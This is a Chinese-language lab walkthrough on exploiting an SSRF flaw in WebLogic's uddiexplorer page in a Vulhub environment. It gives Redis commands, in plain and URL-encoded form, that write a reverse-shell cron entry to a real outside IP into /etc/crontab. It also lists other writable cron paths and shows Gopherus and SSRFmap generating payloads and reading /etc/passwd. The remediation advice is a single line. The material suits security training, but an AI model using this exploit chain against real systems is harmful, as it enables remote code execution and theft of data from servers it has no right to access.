以下演示的 Weblogic中靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell.

靶场搭建

  1. 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场.
  2. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器
  3. docker ps查看端口
  4. 访问http://192.168.164.128:7001/uddiexplorer

端口探测

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了

在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息

通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址:

然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务

以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通.

反弹Shell

接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab)这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令):

1
2
3
4
5
6
7
8
9
10
# 记得替换下方的ip以及端口

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/107.173.198.230/7777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa
  1. 首先对以上三条 redis 命令进行 url 编码
  2. VPS中监听端口nc -lvvp 6666
  3. 将url编码内的%0A替换为%0D%0A%0D%0A
    1
    test%0D%0A%0D%0A%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.173.198.230%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0A%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaa
  4. 成功反弹
  5. 可进行利用的cron有如下几个地方:
  • /etc/crontab 这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell.
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

修复方案

目前厂商已经发布了升级补丁以修复此安全问题.

工具使用

自动生成payload的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\kill3r\Downloads\Gopherus-master>python2 gopherus.py --exploit redis


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$


Ready To get SHELL

# 你想要什么?
What do you want?? (ReverseShell/PHPShell): ReverseShell
# 提供你的IP地址通过Revershell与受害者连接(默认是127.0.0.1):
Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.10.10
# 他的Crontab目录位置是什么
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis : /etc/

最后生成的Payload可以直接复制攻击.

漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]
└─# python ssrfmap.py
_____ _________________
/ ___/ ___| ___ \ ___|
\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __
`--. \`--. \ /| _| '_ ` _ \ / _` | '_ \
/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |
\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/
| |
|_|
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l [HANDLER]] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
[--rfiles [TARGETFILES]] [--uagent USERAGENT] [--ssl [SSL]] [--proxy PROXY] [--level [LEVEL]]
options:
-h, --help:显示帮助信息并退出.
-r REQFILE:指定SSRF请求文件.
-p PARAM:指定要目标的SSRF参数.
-m MODULES:指定要启用的SSRF模块.
-l HANDLER:启动反向Shell的处理程序.
-v [VERBOSE]:启用详细输出.
--lhost LHOST:反向Shell的监听主机.
--lport LPORT:反向Shell的监听端口.
--uagent USERAGENT:要使用的用户代理.
--ssl [SSL]:使用无需验证的HTTPS.
--proxy PROXY:使用HTTP(s)代理)例如:http://localhost:8080).
--level [LEVEL]:要执行的测试级别)1-5,默认为1).
示例:
python ssrfmap.py -r data/request2.txt -p url -m portscan
python ssrfmap.py -r data/request.txt -p url -m redis
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
python ssrfmap.py -r data/request.txt -p url -m readfiles --rfiles

截取当前的数据包放置1.txt中

通过工具指定流量包去完成扫描请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]
└─# python -m pip install -r requirements.txt
┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]
└─# python ssrfmap.py -r 1.txt -p url -m portscan | grep open
┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]
└─# python ssrfmap.py -r 1.txt -p url -m readfiles > file.txt
[INFO]:Module 'readfiles' launched !
[INFO]:Reading file : /etc/passwd
[INFO]:Writing file : /etc/passwd to 192.168.64.138/_etc_passwd
[INFO]:Reading file : /etc/hosts
[INFO]:Writing file : /etc/hosts to 192.168.64.138/_etc_hosts
[INFO]:Reading file : /proc/self/cmdline
[INFO]:Writing file : /proc/self/cmdline to 192.168.64.138/_proc_self_cmdline
[INFO]:Reading file : /proc/self/exe
[INFO]:Writing file : /proc/self/exe to 192.168.64.138/_proc_self_exe